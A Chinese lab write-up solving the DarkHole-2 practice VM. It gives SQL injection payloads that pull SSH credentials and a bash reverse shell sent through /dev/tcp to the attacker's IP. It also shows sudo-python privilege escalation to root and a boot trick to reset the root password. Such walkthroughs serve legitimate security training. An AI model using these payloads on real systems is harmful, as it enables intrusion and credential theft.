Neos的渗透测试靶机练习——DarkHole-2

DarkHole-2

    • 一、实验环境
    • 二、开始渗透
      • 1. 搜集信息
      • 2. git文件泄露
      • 3. SQL注入
      • 4. 提权
    • 三、总结


一、实验环境

虚拟机软件:VirtualBox
攻击机:kali linux(网卡初始为仅主机模式,要有安全意识)
靶机:DarkHole-2(网卡初始为仅主机模式,要有安全意识)靶机网卡有问题需要提前修改,进入系统前先按shift,
然后按e进入编辑模式,
将ro 至 initrd之前 的内容修改为 rw single init=/bin/bash,
然后按ctrl + x,重新设置password(输入passwd 然后输入想设置的密码),
输入vim /etc/netplan/00-installer-config.yaml,
将其中的ens33修改为enp0s17,
保存后关靶机,
至此 重启靶机 在攻击机中可搜到ip。

二、开始渗透

1. 搜集信息

输入sudo su,将kali切换到root权限
切换为root权限
输入ifconfig查询自身ip,即攻击机ip
查自身ip
可以看到自身ip192.168.56.101
输入arp-scan -l扫描本网段存活主机,即靶机ip地址
靶机ip
可以看到靶机ip192.168.56.105,。
输入nmap -sV -p- 192.168.56.105扫描靶机所有端口开放情况
靶机端口
可以看到端口22、80是开放的。
浏览器输入192.168.56.105:80。
dh-2

命令行输入whatweb 192.168.56.105查询网站指纹信息
网站指纹
没什么关键信息。
输入dirsearch -u http://192.168.56.105,扫描网站目录。
扫描结果
扫描出来个/.git/目录,这个目录是本次渗透测的关键点,因为可以通过两个工具githack、git-dumper得到网页源代码。
我们这里使用git-dumper
先下载安装pip install git-dumper,然后输入git-dumper http://192.168.56.105/.git/ neosHack将源代码导入本地neosHack目录中。
在这里插入图片描述

2. git文件泄露

我们进入该目录,输入git log查看日志。
在这里插入图片描述
发现有三次提交记录,我们使用git diff命令挨个查看三次提交在哪里修改过代码。
在这里插入图片描述
发现第二条有修改代码的记录,并在其中发现了一个邮箱用户lush@admin.com密码321
我们使用这个账号重新登陆页面。
在这里插入图片描述
点击提交按钮没有用,但是URL有一个参数id。我刚经历过sqli-labs的洗礼,本能的认为这里有SQL注入,我们不用sqlmap了,手动测一下。
我做了一个SQL注入专项靶场训练,感兴趣的可以看我这一篇文章:Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南,里面基本上涉及到SQL注入所有技巧了。

3. SQL注入

1)测试是数字型注入还是字符型注入:
构造参数:?id=1 and 1=1?id=1 and 1=2,发现二者页面显示内容相同,说明不是数字型注入;
2)判断闭合点
添加单引号:?id=1',页面空白,重新添加双引号:?id=1",页面正常显示,说明是字符型单引号闭合。
3)测试数据表的列数
构造参数:?id=1' order by 6 -- neos,正常显示,当order by 7时页面空白,说明数据表为6列。
4)测试回显位
构造参数:?id=-1' union select 1,2,3,4,5,6 -- neos,发现回显位为2,3,5,6号位。
在这里插入图片描述
5)联合注入:
有这么多的回显位,我们可以一次性测出很多东西。
1>测数据库名
我们构造参数:?id=-1' union select 1,database(),version(),4,@@basedir,@@datadir -- neos在这里插入图片描述
我们在对应的回显位分别测出了数据库名版本数据库的安装路径数据库文件的存放路径
2>测数据表名
我们继续构造参数:?id=-1' union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=database() -- neos
在这里插入图片描述
测出了数据库darkhole_2有两个数据表sshusers
3>测属性名
我们分别测ssh表和users表有哪些属性名。
ssh表:?id=-1' union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name='ssh' -- neos,发现该表有三个属性名id、pass、user
在这里插入图片描述
users表:?id=-1' union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name='users' -- neos,发现有很多个属性名,但我们只需要知道id,password,username这三个属性即可。这里没显示全,这种情况下我们可以借助limit关键字来将剩余的属性名测出来,比如构造参数:?id=-1' union select 1,2,column_name,4,5,6 from information_schema.columns where table_name='users' limit 6,1-- neos得知那个没显示全的属性名为CURRENT_CONNECTIONS
在这里插入图片描述
4>测数据项
测ssh表的所有内容:?id=-1' union select 1,2,group_concat(id),4,group_concat(username),group_concat(password) from ssh-- neos,发现只有一个用户jehad,密码为fool
在这里插入图片描述
测users表的所有内容:?id=-1' union select 1,2,group_concat(id),4,group_concat(username),group_concat(password) from users -- neos,发现依然只有一个用户。
在这里插入图片描述
6)登陆账号
我们使用ssh表中的那个jehad用户ssh登陆。
在这里插入图片描述

4. 提权

sudo -lfind / -perm -u=s -type f 2>/dev/null没发现什么可以提权的地方。
我们继续输入cat .bash_history查看历史文件,发现9999端口是有服务的。
在这里插入图片描述
我们输入ss -antp,查看socket信息,发下9999端口确实有活动信息。
在这里插入图片描述
输入cat /etc/crontab,查看定时任务信息,发现另一个用户losy
在这里插入图片描述
输入curl "http://127.0.0.1:9999/?cmd=whoami",发现9999端口可以以losy的权限执行命令:
在这里插入图片描述
那么losy就是我们的目标了。9999端口没办法访问,我们重新ssh连接,将本地端口 9999端口与靶机端口映射,访问本机9999端口转发到靶机9999端口:ssh jehad@192.168.56.105 -L 9999:localhost:9999
在这里插入图片描述
本地监听nc -lvvp 4444
在这里插入图片描述
然后构造命令bash -c 'bash -i >& /dev/tcp/192.168.56.101/4444 0>&1',对其进行URL编码。
在这里插入图片描述
靶机输入curl http://127.0.0.1:9999/?cmd=bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.56.101%2f4444+0%3e%261%27,成功反弹losy的shell。
在这里插入图片描述
我们查看/home/losy目录下的.bash_history文件发现下面有losy的密码。
在这里插入图片描述
我们ssh登陆losy用户,
在这里插入图片描述
发现可以以root执行python,
在这里插入图片描述
我们直接输入sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")',成功提权到root,并在/root目录下发现flag!!!
在这里插入图片描述
至此,渗透结束。


三、总结

本次渗透测试总体来讲比较简单的,都是以往渗透遇到的经典操作,注意一下git文件泄露,及SQL注入漏洞的原理即可。


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/641266.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue3+Element plus实现登录功能

一、想要实现的效果 二、搭建登录静态 1、实现左边背景和右边登录栏的总体布局布局&#xff1a; <el-row class"content"><!--el-col 列&#xff1a; --><el-col :span"16" :xs"0" class"content-left"></el-c…

仓储管理系统——软件工程报告(可行性研究报告及分析)①

可行性研究报告及分析 一、问题定义 1.1项目背景 随着社会的发展以及企业规模的扩大和业务的复杂化&#xff0c;仓库管理变得愈发重要。传统的手工管理方式已经导致了一系列问题&#xff0c;包括库存准确性低、订单处理效率慢等。为了提高仓库运作效率、降低成本并优化库存管…

unity 单例模式(实例详解)

文章目录 在Unity中&#xff0c;单例模式是一种常用的编程设计模式&#xff0c;用于确保在整个应用程序生命周期中&#xff0c;只有一个类的实例存在。这样可以保证数据的全局唯一性和共享性&#xff0c;例如游戏场景中的资源管理器、游戏控制器、事件管理器等。 以下是一个简单…

如何用 500 行 SQL 实现 GPT2学习

目录 理论背景实现过程GenerationTokenizerEmbeddingsAttention为什么我们需要有因果掩码&#xff1f;为什么矩阵是 Q&#xff0c;K 和 V&#xff1f; BlocksTokens为什么要使用 softmax 转换概率&#xff1f;Inference 俄罗斯有个大佬每年都会用 SQL 来实现一个挑战庆祝新年&a…

Android:JNI实战,理论详解、Java与Jni数据调用

一.概述 上一篇博文讲解了如何搭建一个可以加载和链接第三方库、编译C/C文件的Jni Demo App。 这篇博文在这个Jni Demo App的基础上&#xff0c;从实战出发详细讲解 Jni 开发语法。 接下来&#xff0c;先用一小节将Jni开发比较重要的理论知识点过一下&#xff0c;然后进行代…

matlab appdesigner系列-常用17-编辑字段(数值、文本)

编辑字段&#xff08;数值、文本&#xff09;可直接键入数值、文本&#xff0c;其他组件直接调用其值。也可以利用把其他组件回调的值&#xff0c;返回到编辑字段&#xff08;数值、文本&#xff09;进行显示。 示例&#xff1a;利用按钮组件改变编辑字段&#xff08;数值&…

详解APQC流程分级分类框架PCF13个高阶分类和5级业务流程

一&#xff1a;什么是APQC 美国生产力与质量中心(American Productivity and Quality Center&#xff0c;简称为APQC)&#xff0c;创立于1977年是一个会员制的非营利机构&#xff0c;使命是“发现有效的改进方法&#xff0c;广泛地传播其发现成果&#xff0c;实现个人之间及其…

etcd基本介绍

etcd基本介绍 ETCD是SoreOs公司发布的一个分布式的、高可用的、key-value存储的数据库。基于Go语言实现&#xff0c;k8s中也使用了ETCD作为数据库。主要用于共享配置和服务发现。相对于zookeeper采用的Paxos&#xff0c;ETCD采用的是Raft算法&#xff0c;该算法具备的性能更佳…

Centos7 安装redis 详细步骤访问不了github和windows系统下载

windows系统下载 https://hellowindows.cn/ VMware虚拟机安装Windows Server 2016 VL https://blog.csdn.net/qq_37545849/article/details/134828341 VMware全屏时不显示上方命令栏的边缘 此时如果要返回&#xff0c;可以把鼠标移动至屏幕上方边缘短暂停留以呼出命令栏。或使…

第二篇【传奇开心果短博文系列】Python的OpenCV库技术点案例示例:图像处理

传奇开心果短博文系列 系列短博文目录Python的OpenCV库技术点案例示例短博文系列 博文目录一、项目目标二、第一个示例代码三、第二个示例代码四、第三个示例代码五、第四个示例代码六、第五个示例代码七、知识点归纳总结 系列短博文目录 Python的OpenCV库技术点案例示例短博文…

OPENGL光线追踪

纪念一下运行出了光线追踪代码,用了glfw和glad。 光线的数学表达式 一条光线实际上只是一个起点和一个传播方向&#xff0c;因此光线表达式为&#xff1a; p(t) e t (s-e) 光线与球相交 已知球体的隐式方程为&#xff1a; 把光线 p(t) e t d 代入上述方程&#xff0c;得…

基于SpringBoot Vue医院门诊管理系统

大家好✌&#xff01;我是Dwzun。很高兴你能来阅读我&#xff0c;我会陆续更新Java后端、前端、数据库、项目案例等相关知识点总结&#xff0c;还为大家分享优质的实战项目&#xff0c;本人在Java项目开发领域有多年的经验&#xff0c;陆续会更新更多优质的Java实战项目&#x…

RPC和HTTP,它们之间到底啥关系

既然有 HTTP 请求&#xff0c;为什么还要用 RPC 调用&#xff1f; gPRC 为什么使用 HTTP/2 Spring Cloud 默认是微服务通过Restful API来进行互相调用各自微服务的方法&#xff0c;同时也支持集成第三方RPC框架&#xff08;这里的说的RPC是特指在一个应用中调用另一个应用的接…

Git--基本操作介绍(2)

Git 常用的是以下 6 个命令&#xff1a;git clone、git push、git add 、git commit、git checkout、git pull. 说明&#xff1a; workspace&#xff1a;工作区staging area&#xff1a;暂存区/缓存区local repository&#xff1a;版本库或本地仓库remote repository&#xf…

Linux 一键部署grafana

grafana 前言 Grafana 是一款开源的数据可视化和监控仪表盘工具。它提供了丰富的数据查询、可视化和报警功能,可用于实时监控、数据分析和故障排除等领域。 通过 Grafana,您可以连接到各种不同的数据源,包括时序数据库(如 Prometheus、InfluxDB)和关系型数据库(如 MySQ…

2008年苏州大学837复试机试C/C++

2008年苏州大学复试机试 题目 编写程序充成以下功能: 一、从键盘上输入随机变量x的 10个取样点。X0&#xff0c;X1—X9 的值; 1、计算样本平均值 2、判定x是否为等差数列 3、用以下公式计算z的值(t0.63) 注。请对程序中必要地方进行注释 补充&#xff1a;个人觉得这个题目回忆…

Vscode 顶部Menu(菜单)栏消失如何恢复

Vscode 顶部Menu(菜单)栏消失如何恢复&#xff1f; 首先按一下 Alt按键&#xff0c;看一下是否恢复了菜单栏如果恢复了想了解更进一步的设置&#xff0c;或是没能恢复菜单栏&#xff0c;可以看后续。 1.首先点击左下角 齿轮&#xff0c;打开settings; 或者 直接 ctrl 逗号 …

chrome提升搜索效率的快捷方法

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…

C# 使用System.Threading.Timer 实现计时器

写在前面 以往一般都是用 System.Timers.Timer 来做计时器&#xff0c;而 System.Threading.Timer 也可以实现计时器功能&#xff0c;并且还可以配置首次执行间隔&#xff0c;在功能上比System.Timers.Timer更加丰富&#xff1b;根据这个特性就可以实现按指定时间间隔对委托进…

书法家深入社区开展“迎春送福”写春联活动

春节将至&#xff0c;岁寒情深。2024年1月22日&#xff0c;在春节即将来临之际&#xff0c;双岗街道万小店社区邀请“四知书画院”院长杨东初、“东方诗书画院”院长杨玉能、“林散之草圣书画院”客座教授倪萍等知名书法家&#xff0c;在合肥市庐阳区为民社会服务中心开展“迎春…